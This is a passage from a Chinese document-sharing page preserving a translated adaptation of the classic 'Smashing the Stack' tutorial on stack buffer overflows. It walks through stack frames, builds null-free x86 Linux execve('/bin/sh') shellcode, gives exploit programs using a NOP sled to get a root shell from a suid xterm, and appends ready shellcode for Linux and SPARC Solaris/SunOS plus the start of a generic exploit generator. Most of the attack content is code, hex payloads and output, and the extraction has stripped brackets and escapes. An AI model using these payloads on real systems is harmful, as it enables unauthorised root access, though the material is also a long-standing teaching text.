




已阅读5页,还剩13页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
使用Buffer Overflow 方法来入侵目的主机是黑客们经常采用的一种手段,本文将几篇介绍其机理的文章作了一些加工整理, 对它的机理作出了由浅入深的剖析.本文分为下面几个部分, 朋友们可以按照自己的兴趣选择不同的章节:1.关于堆栈的基础知识2.Buffer Overflow 的原理3.Shell Code 的编写4.实际运用中遇到的问题5.附录 I 若干操作系统/平台上的 Shell Code6.附录 II 通用 Buffer Overflow 攻击程序-1. 关于堆栈的基础知识一个应用程序在运行时,它在内存中的映像可以分为三个部分: 代码段, 数据段和堆栈段(参见下图). 代码段对应与运行文件中的 Text Section ,其中包括运行代码和只读数据,这个段在内存中一般被标记为只读,任何企图修改这个段中数据的指令将引发一个 Segmentation Violation 错误.数据段对应与运行文件中的 Data Section 和 BSS Section ,其中存放的是各种数据(经过初始化的和未经初始化的)和静态变量. 下面我们将详细介绍一下堆栈段. 虚存低端代码段数据段堆栈段虚存高端堆栈是什么?如果你学过这门课的话, 就会知道堆栈是一种计算机中经常用到的抽象数据类型. 作用于堆栈上的操作主要有两个: Push 和 Pop , 既压入和弹出. 堆栈的特点是LIFO(Last in , First out), 既最后压入堆栈的对象最先被弹出堆栈.堆栈段的作用是什么?现在大部分程序员都是在用高级语言进行模块化编程, 在这些应用程序中,不可避免地会出现各种函数调用, 比如调用C 运行库,Win32 API 等等. 这些调用大部分都被编译器编译为Call语句. 当CPU 在执行这条指令时, 除了将IP变为调用函数的入口点以外, 还要将调用后的返回地址放入堆栈. 这些函数调用往往还带有不同数量的入口参数和局部变量, 在这种情况下,编译器往往会生成一些指令将这些数据也存入堆栈(有些也可通过寄存器传递). 我们将一个函数调用在堆栈中存放的这些数据和返回地址称为一个栈帧(Stack Frame).栈帧的结构:下面我们通过一个简单的例子来分析一下栈帧的结构. void proc(int i) int local;local=i;void main()proc(1);这段代码经过编译器后编译为:(以PC为例) main:push1call procproc:pushebpmovebp,espsubesp,4moveax,ebp+08movebp-4,eaxaddesp,4popebpret4下面我们分析一下这段代码.main:push 1call proc首先, 将调用要用到的参数1压入堆栈,然后call procproc:push ebpmov ebp,esp我们知道esp指向堆栈的顶端,在函数调用时,各个参数和局部变量在堆栈中的位置只和esp有关系,如可通过esp+4存取参数1. 但随着程序的运行,堆栈中放入了新的数据,esp也随之变化,这时就不能在通过esp+4来存取1了. 因此, 为了便于参数和变量的存取, 编译器又引入了一个基址寄存器ebp, 首先将ebp的原值存入堆栈,然后将esp的值赋给ebp,这样以后就可以一直使用ebp+8来存取参数1了. sub esp,4将esp减4,留出一个int的位置给局部变量 local 使用, local可通过ebp-4来存取moveax,ebp+08mov ebp-4,eax就是 local=i;add esp,4pop ebpret 4首先esp加4,收回局部变量的空间,然后pop ebp, 恢复ebp原值,最后 ret 4,从堆栈中取得返回地址,将EIP改为这个地址,并且将esp加4,收回参数所占的空间.不难看出,这个程序在执行proc过程时,栈帧的结构如下: 4444localebpret地址参数1内存高端|esp(栈顶)ebp因此,我们可以总结出一般栈帧的结构:local1local2localnebpret地址参数1参数2参数n|esp(栈顶)ebp了解了栈帧的结构以后,现在我们可以来看一下 Buffer overflow 的机理了。2. Buffer Overflow 的机理我们先举一个例子说明一下什么是 Buffer Overflow : void function(char *str)char buffer16;strcpy(buffer,str);void main()char large_string256;int i;for( i = 0; i 255; i+)large_stringi = A;function(large_string);这段程序中就存在 Buffer Overflow 的问题. 我们可以看到, 传递给function的字符串长度要比buffer大很多,而function没有经过任何长度校验直接用strcpy将长字符串拷入buffer. 如果你执行这个程序的话,系统会报告一个 Segmentation Violation 错误.下面我们就来分析一下为什么会这样?首先我们看一下未执行strcpy时堆栈中的情况: 16444.buffer ebp ret地址 large_string地址|espebp当执行strcpy时, 程序将256 Bytes拷入buffer中,但是buffer只能容纳16 Bytes,那么这时会发生什么情况呢? 因为C语言并不进行边界检查, 所以结果是buffer后面的250字节的内容也被覆盖掉了,这其中自然也包括ebp, ret地址 ,large_string地址.因为此时ret地址变成了0x41414141h ,所以当过程结束返回时,它将返回到0x41414141h地址处继续执行,但由于这个地址并不在程序实际使用的虚存空间范围内,所以系统会报Segmentation Violation.从上面的例子中不难看出,我们可以通过Buffer Overflow来改变在堆栈中存放的过程返回地址,从而改变整个程序的流程,使它转向任何我们想要它去的地方.这就为黑客们提供了可乘之机, 最常见的方法是: 在长字符串中嵌入一段代码,并将过程的返回地址覆盖为这段代码的地址, 这样当过程返回时,程序就转而开始执行这段我们自编的代码了. 一般来说,这段代码都是执行个Shell程序(如binsh),因为这样的话,当我们入侵一个带有Buffer Overflow缺陷且具有suid-root属性的程序时,我们会获得一个具有root权限的shell,在这个shell中我们可以干任何事. 因此, 这段代码一般被称为Shell Code.下面我们就来看一下如何编写Shell Code. 3. Shell Code 的编写下面是一个创建Shell的C程序shellcode.c: (本文以IntelX86上的Linux为例说明) void main() char *name2;name0 = /bin/sh;name1 = NULL;execve(name0, name, NULL);我们先将它编译为执行代码,然后再用gdb来分析一下.(注意编译时要用-static选项,否则execve的代码将不会放入执行代码,而是作为动态链接在运行时才链入.) -aleph1$ gcc -o shellcode -ggdb -static shellcode.caleph1$ gdb shellcodeGDB is free software and you are welcome to distribute copies of itunder certain conditions; type show copying to see the conditions.There is absolutely no warranty for GDB; type show warranty for details.GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc.(gdb) disassemble mainDump of assembler code for function main:0x8000130 : pushl %ebp0x8000131 : movl %esp,%ebp0x8000133 : subl $0x8,%esp0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)0x800013d : movl $0x0,0xfffffffc(%ebp)0x8000144 : pushl $0x00x8000146 : leal 0xfffffff8(%ebp),%eax0x8000149 : pushl %eax0x800014a : movl 0xfffffff8(%ebp),%eax0x800014d : pushl %eax0x800014e : call 0x80002bc 0x8000153 : addl $0xc,%esp0x8000156 : movl %ebp,%esp0x8000158 : popl %ebp0x8000159 : retEnd of assembler dump.(gdb) disassemble _execveDump of assembler code for function _execve:0x80002bc : pushl %ebp0x80002bd : movl %esp,%ebp0x80002bf : pushl %ebx0x80002c0 : movl $0xb,%eax0x80002c5 : movl 0x8(%ebp),%ebx0x80002c8 : movl 0xc(%ebp),%ecx0x80002cb : movl 0x10(%ebp),%edx0x80002ce : int $0x800x80002d0 : movl %eax,%edx0x80002d2 : testl %edx,%edx0x80002d4 : jnl 0x80002e6 0x80002d6 : negl %edx0x80002d8 : pushl %edx0x80002d9 : call 0x8001a34 0x80002de : popl %edx0x80002df : movl %edx,(%eax)0x80002e1 : movl $0xffffffff,%eax0x80002e6 : popl %ebx0x80002e7 : movl %ebp,%esp0x80002e9 : popl %ebp0x80002ea : ret0x80002eb : nopEnd of assembler dump.-下面我们来首先来分析一下main代码中每条语句的作用: 0x8000130 : pushl %ebp0x8000131 : movl %esp,%ebp0x8000133 : subl $0x8,%esp这跟前面的例子一样,也是一段函数的入口处理,保存以前的栈帧指针,更新栈帧指针,最后为局部变量留出空间.在这里,局部变量为: char *name2;也就是两个字符指针.每个字符指针占用4个字节,所以总共留出了 8 个字节的位置.0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)这里, 将字符串/bin/sh的地址放入name0的内存单元中, 也就是相当于 : name0 = /bin/sh;0x800013d : movl $0x0,0xfffffffc(%ebp)将NULL放入name1的内存单元中, 也就是相当于:name1 = NULL;对execve()的调用从下面开始:0x8000144 : pushl $0x0开始将参数以逆序压入堆栈, 第一个是NULL.0x8000146 : leal 0xfffffff8(%ebp),%eax0x8000149 : pushl %eax将name的起始地址压入堆栈0x800014a : movl 0xfffffff8(%ebp),%eax0x800014d : pushl %eax将字符串/bin/sh的地址压入堆栈0x800014e : call 0x80002bc 调用execve() . call 指令首先将 EIP 压入堆栈-现在我们再来看一下execve()的代码. 首先要注意的是, 不同的操作系统,不同的CPU,他们产生系统调用的方法也不尽相同. 有些使用软中断,有些使用远程调用.从参数传递的角度来说,有些使用寄存器,有些使用堆栈.我们的这个例子是在基于Intel X86的Linux上运行的所以我们首先应该知道Linux中,系统调用以软中断的方式产生( INT 80h),参数是通过寄存器传递给系统的 0x80002bc : pushl %ebp0x80002bd : movl %esp,%ebp0x80002bf : pushl %ebx同样的入口处理0x80002c0 : movl $0xb,%eax将0xb(11)赋给eax , 这是execve()在系统中的索引号0x80002c5 : movl 0x8(%ebp),%ebx将字符串/bin/sh的地址赋给ebx0x80002c8 : movl 0xc(%ebp),%ecx将name的地址赋给ecx0x80002cb : movl 0x10(%ebp),%edx将NULL的地址赋给edx0x80002ce : int $0x80产生系统调用,进入核心态运行-看了上面的代码,现在我们可以把它精简为下面的汇编语言程序:leal string,string_addrmovl $0x0,null_addrmovl $0xb,%eaxmovl string_addr,%ebxleal string_addr,%ecxleal null_string,%edxint $0x80(我对Linux的汇编语言格式了解不多,所以这几句使用的是DOS汇编语言的格式)stringdb/bin/sh,0string_addrdd0null_addrdd0-但是这段代码中还存在着一个问题 ,就是我们在编写ShellCode时并不知道这段程序执行时在内存中所处的位置,所以像:movl string_addr,%ebx这种需要将绝对地址编码进机器语言的指令根本就没法使用.解决这个问题的一个办法就是使用一条额外的JMP和CALL指令. 因为这两条指令编码使用的都是 相对于IP的偏移地址而不是绝对地址, 所以我们可以在ShellCode的最开始加入一条JMP指令, 在string前加入一条CALL指令. 只要我们计算好程序编码的字节长度,就可以使JMP指令跳转到CALL指令处执行,而CALL指令则指向JMP的下一条指令,因为在执行CALL指令时,CPU会将返回地址(在这里就是string的地址)压入堆栈,所以这样我们就可以在运行时获得string的绝对地址.通过这个地址加偏移的间接寻址方法,我们还可以很方便地存取string_addr和null_addr.-经过上面的修改,我们的ShellCode变成了下面的样子: jmp 0x20popl esimovb $0x0,0x7(%esi)movl %esi,0x8(%esi)movl $0x0,0xC(%esi)movl $0xb,%eaxmovl %esi,%ebxleal 0x8(%esi),%ecxleal 0xC(%esi),%edxint $0x80call -0x25string db /bin/sh,0 string_addr dd 0null_addr dd 0 # 2 bytes,跳转到CALL# 1 byte, 弹出string地址# 4 bytes,将string变为以0结尾的字符串 # 7 bytes # 5 bytes# 2 bytes# 3 bytes# 3 bytes# 2 bytes# 5 bytes,跳转到popl %esi-我们知道C语言中的字符串以0结尾,strcpy等函数遇到0就结束运行.因此为了保证我们的ShellCode能被完整地拷贝到Buffer中,ShellCode中一定不能含有0. 下面我们就对它作最后一次改进,去掉其中的0: 原指令:替换为:-movb$0x0,0x7(%esi)xorl %eax,%eaxmovl$0x0,0xc(%esi)movb %eax,0x7(%esi) movl %eax,0xc(%esi)-movl$0xb,%eaxmovb $0xb,%al-OK! 现在我们可以试验一下这段ShellCode了. 首先我们把它封装为C语言的形式.-void main() _asm_(jmp 0x18 # 2 bytespopl %esi# 1 bytemovl %esi,0x8(%esi)# 3 bytesxorl %eax,%eax # 2 bytesmovb %eax,0x7(%esi)# 3 bytesmovl %eax,0xc(%esi)# 3 bytesmovb $0xb,%al# 2 bytesmovl %esi,%ebx # 2 bytesleal 0x8(%esi),%ecx# 3 bytesleal 0xc(%esi),%edx# 3 bytesint$0x80 # 2 bytescall -0x2d # 5 bytes.string /bin/sh# 8 bytes);-经过编译后,用gdb得到这段汇编语言的机器代码为:xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh现在我们可以写我们的试验程序了:-exploit1.c:char shellcode =xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh;char large_string128;void main()char buffer96;int i;long *long_ptr = (long *) large_string;for(i=0;i在上面的程序中,我们首先用 buffer 的地址填充large_string并将ShellCode放在large_string的起始位置,从而保证在BufferOverflow时,返回地址被覆盖为Buffer的地址(也就是ShellCode的入口地址).然后用strcpy将large_string的内容拷入buffer,因为buffer只有96个字节的空间,所以这时就会发生Buffer Overflow. 返回地址被覆盖为ShellCode的入口地址. 当程序执行到main函数的结尾时,它会自动跳转到我们的ShellCode,从而创建出一个新的Shell.现在我们编译运行一下这个程序: -aleph1$ gcc -o exploit1 exploit1.caleph1$ ./exploit1$ exitexitaleph1$-OK! 可以看到,当执行test时,我们的ShellCode正确地执行并生成了一个新的Shell,这正是我们所希望看到的结果.但是,这个例子还仅仅是一个试验,下面我们来看一看在实际环境中如何使我们的ShellCode发挥作用.4. 实际运用中遇到的问题在上面的例子中,我们成功地攻击了一个我们自己写的有Buffer Overflow缺陷的程序.因为是我们自己的程序,所以在运行时我们很方便地就可以确定出ShellCode的入口绝对地址(也就是Buffer地址),剩下的工作也就仅仅是用这个地址来填充large_string了.但是当我们试图攻击一个其他程序时,问题就出现了.我们怎么知道运行时Shell Code所处的绝对地址呢? 不知道这个地址, 我们用什么来填充large_string,用什么来覆盖返回地址呢? 不知道用什么来覆盖返回地址,ShellCode如何能得到控制权呢? 而如果得不到控制权,我们也就无法成功地攻击这个程序,那么我们上面所做的所有工作都白费了.由此可以看出,这个问题是我们要解决的一个关键问题.幸好对于所有程序来说堆栈的起始地址是一样的,而且在拷贝ShellCode之前,堆栈中已经存在的栈帧一般来说并不多,长度大致在一两百到几千字节的范围内.因此,我们可以通过猜测加试验的办法最终找到ShellCode的入口地址.下面就是一个打印堆栈起始地址的程序: sp.c-unsigned long get_sp(void) _asm_(movl %esp,%eax);void main() printf(0x%xn, get_sp();-aleph1$ ./sp0x8000470aleph1$-上面所说的方法虽然能解决这个问题, 但只要你稍微想一想就知道这个方法并不实用. 因为这个方法要求你在堆栈段中准确地猜中ShellCode的入口,偏差一个字节都不行.如果你运气好的话, 可能只要猜几十次就猜中了,但一般情况是,你必须要猜几百次到几千次才能猜中.而在你能够猜中前,我想大部分人都已经放弃了.所以我们需要一种效率更高的方法来尽量减少我们的试验次数.一个最简单的方法就是将ShellCode放在large_string的中部,而前面则一律填充为NOP指令(NOP指令是一个任何事都不做的指令,主要用于延时操作,几乎所有CPU都支持NOP指令).这样,只要我们猜的地址落在这个NOP指令串中,那么程序就会一直执行直至执行到ShellCode(如下图).这样一来,我们猜中的概率就大多了(以前必须要猜中ShellCode的入口地址,现在只要猜中NOP指令串中的任何一个地址即可). 低端内存DDDDDDDDEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFF高端内存栈顶89ABCDEF0123456789ABCDEF0123456789ABCDEF栈底bufferebpretabc 1) bsize = atoi(argv1);if (argc 2) offset= atoi(argv2);if (!(buff = malloc(bsize)printf(Cant allocate memory.n);exit(0);addr=get_sp()-offset;printf(Using address: 0x%xn, addr);ptr=buff;addr_ptr=(long *)ptr;for(i=0;i好,现在我们来试验一下这个程序的效能如何.这次的攻击目标是xterm(所有链接了Xt Library的程序都有此缺陷). 首先确保X Server在运行并且允许本地连接. -aleph1$ export DISPLAY=:0.0aleph1$ ./exploit2 1124Using address: 0xbffffdb4aleph1$ /usr/X11R6/bin/xterm -fg $EGGWarning: some arguments in previous message were lostbash$-OK! 看来我们的程序确实很好用.如果xterm有suid-root属性,那么这个shell就是一个具有root权限的Shell了. -Appendix A - 若干操作系统/平台上的 Shell Codei386/Linux-jmp 0x1fpopl %esimovl %esi,0x8(%esi)xorl %eax,%eaxmovb %eax,0x7(%esi)movl %eax,0xc(%esi)movb $0xb,%almovl %esi,%ebxleal 0x8(%esi),%ecxleal 0xc(%esi),%edxint $0x80xorl %ebx,%ebxmovl %ebx,%eaxinc %eaxint $0x80call -0x24.string /bin/sh-SPARC/Solaris-sethi 0xbd89a, %l6or %l6, 0x16e, %l6sethi 0xbdcda, %l7and %sp, %sp, %o0add %sp, 8, %o1xor %o2, %o2, %o2add %sp, 16, %spstd %l6, %sp - 16st %sp, %sp - 8st %g0, %sp - 4mov 0x3b, %g1ta 8xor %o7, %o7, %o0mov 1, %g1ta 8-SPARC/SunOS-sethi 0xbd89a, %l6or %l6, 0x16e, %l6sethi 0xbdcda, %l7and %sp, %sp, %o0add %sp, 8, %o1xor %o2, %o2, %o2add %sp, 16, %spstd %l6, %sp - 16st %sp, %sp - 8st %g0, %sp - 4mov 0x3b, %g1mov -0x1, %l5ta %l5 + 1xor %o7, %o7, %o0mov 1, %g1ta %l5 + 1-Appendix B - 通用 Buffer Overflow 攻击程序shellcode.h-#if defined(_i386_) & defined(_linux_)#define NOP_SIZE 1char nop = x90;char shellcode =xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcdx80xe8xdcxffxffxff/bin/sh;unsigned long get_sp(void) _asm_(movl %esp,%eax);#elif defined(_sparc_) & defined(_sun_) & defined(_svr4_)#define NOP_SIZE 4char nop=xacx15xa1x6e;char shellcode =x2dx0bxd8x9axacx15xa1x6ex2fx0bxdcxdax90x0bx80x0ex92x03xa0x08x94x1ax80x0ax9cx03xa0x10xecx3bxbfxf0xdcx23xbfxf8xc0x23xbfxfcx82x10x20x3bx91xd0x20x08x90x1bxc0x0fx82x10x20x01x91xd0x20x08;unsigned long get_sp(void) _asm_(or %sp, %sp, %i0);#elif defined(_sparc_) & defined(_sun_)#define NOP_SIZE 4char nop=xacx15xa1x6e;char shellcode =x2dx0bxd8x9axacx15xa1x6ex2fx0bxdcxdax90x0bx80x0ex92x03xa0x08x94x1ax80x0ax9cx03xa0x10xecx3bxbfxf0xdcx23xbfxf8xc0x23xbfxfcx82x10x20x3bxaax10x3fxffx91xd5x60x01x90x1bxc0x0fx82x10x20x01x91xd5x60x01;unsigned long get_sp(void) _asm_(or %sp, %sp, %i0);#endif-eggshell.c-/* eggshell v1.0* Aleph One / */#include #include #include shellcode.h#define DEFAULT_OFFSET 0
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 围棋线上课活动方案
- 国庆药品活动方案
- 商会举行元宵活动方案
- 商业店铺活动方案
- 商场圣诞活动策划方案
- 商场气氛小活动策划方案
- 围棋活动近期活动方案
- 团日活动照相活动方案
- 团委暖冬志愿活动方案
- 商店节后促销活动方案
- 新生儿吞咽吸吮功能训练
- 2025-2030年中国期货行业市场深度调研及竞争格局与投资策略研究报告
- 2025-2030年中国农业科技行业市场深度调研及前景趋势与投资研究报告
- 成人重症患者颅内压增高防控护理专家共识
- 2025至2030年中国肿瘤治疗行业市场发展潜力及前景战略分析报告
- 危险化学品-经营安全管理制度与岗位操作流程
- 2024年河南省豫地科技集团有限公司招聘真题
- (2025)党内法规知识测试题库及答案
- 餐饮老人临时用工协议书
- T/SHSOT 015.1-2024皮肤角质层胶带剥离方法及应用第1部分:角质层剥离方法
- 2025甘肃省农垦集团有限责任公司招聘生产技术人员145人笔试参考题库附带答案详解
评论
0/150
提交评论